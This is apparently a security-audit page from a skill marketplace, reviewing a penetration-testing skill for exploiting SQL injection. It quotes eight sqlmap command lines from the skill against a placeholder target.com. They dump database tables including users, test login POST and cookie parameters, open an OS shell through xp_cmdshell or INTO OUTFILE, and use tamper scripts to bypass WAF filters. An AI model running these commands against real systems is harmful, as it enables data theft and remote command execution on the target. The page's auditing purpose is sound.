exploiting-sql-injection-vulnerabilities
Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using sqlmap and manual techniques.
Install this skill
or
92/100
Security score
The exploiting-sql-injection-vulnerabilities skill was audited on Jun 13, 2026 and we found 8 security issues across 1 threat category. Review the findings below before installing.
Categories Tested
Security Issues
low line 128
External URL reference
SourceSKILL.md
| 128 | - **Basic detection**: `sqlmap -u "https://target.com/page?id=1" --batch --random-agent` to detect injection and identify the database |
low line 129
External URL reference
SourceSKILL.md
| 129 | - **Extract databases**: `sqlmap -u "https://target.com/page?id=1" --dbs` to list all databases |
low line 130
External URL reference
SourceSKILL.md
| 130 | - **Extract tables**: `sqlmap -u "https://target.com/page?id=1" -D <database> --tables` to list tables |
low line 131
External URL reference
SourceSKILL.md
| 131 | - **Extract data**: `sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5` to extract table contents |
low line 132
External URL reference
SourceSKILL.md
| 132 | - **POST parameters**: `sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username` to test POST parameters |
low line 133
External URL reference
SourceSKILL.md
| 133 | - **Cookie injection**: `sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2` to test cookie parameters (mark injectable parameter with *) |
low line 134
External URL reference
SourceSKILL.md
| 134 | - **OS command execution** (if DB user has sufficient privileges): `sqlmap -u "https://target.com/page?id=1" --os-shell` to attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL) |
low line 135
External URL reference
SourceSKILL.md
| 135 | - **Tamper scripts**: `sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between` to bypass WAF filters |
Scanned on Jun 13, 2026
View Security Dashboard